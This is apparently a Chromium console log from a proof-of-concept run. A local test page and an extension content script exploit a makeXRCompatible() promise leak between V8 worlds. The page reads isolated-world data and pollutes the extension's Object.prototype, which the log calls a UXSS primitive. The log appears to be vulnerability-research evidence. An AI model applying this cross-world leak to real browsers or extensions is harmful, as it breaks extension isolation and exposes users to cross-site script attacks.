[527:527:0614/041334.697713:INFO:CONSOLE:10] "[main] created WebGL context", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.697876:INFO:CONSOLE:10] "[main] waiting for isolated-world content script...", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.734202:INFO:CONSOLE:4] "[isolated] calling makeXRCompatible() -> creates ScriptPromiseResolver bound to ISOLATED world", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/content.js (4) [527:527:0614/041334.735886:INFO:CONSOLE:4] "[isolated] dispatching xr-pending synchronously to main world", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/content.js (4) [527:527:0614/041334.736221:INFO:CONSOLE:10] "[main] received xr-pending; calling makeXRCompatible() while resolver is pending", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.736339:INFO:CONSOLE:10] "[main] received promise: [object Promise]", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.736418:INFO:CONSOLE:10] "[main] promise.__proto__ === main-world Promise.prototype ? false", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.736487:INFO:CONSOLE:10] "[main] promise.__proto__.__proto__ === main-world Object.prototype ? false", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.736535:INFO:CONSOLE:10] "[main] sentinel via leaked promise = "ISOLATED_WORLD_DATA"", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.736686:INFO:CONSOLE:10] "[main] sentinel via main-world {} = undefined", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.736744:INFO:CONSOLE:10] "[main] *** CROSS-WORLD V8 PROMISE LEAK CONFIRMED ***", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.736791:INFO:CONSOLE:10] "[main] main world holds isolated-world Object.prototype @ [object Object]", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.753934:INFO:CONSOLE:10] "[main] wrote to isolated-world Object.prototype", source: http://localhost:8080/poc.html (10) [527:527:0614/041334.755578:INFO:CONSOLE:4] "[isolated] probe.__POLLUTED_BY_MAIN_WORLD__ = "<>"", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/content.js (4) [527:527:0614/041334.755662:INFO:CONSOLE:4] "[isolated] *** ISOLATED-WORLD Object.prototype WAS POLLUTED BY MAIN WORLD (UXSS primitive) ***", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/content.js (4)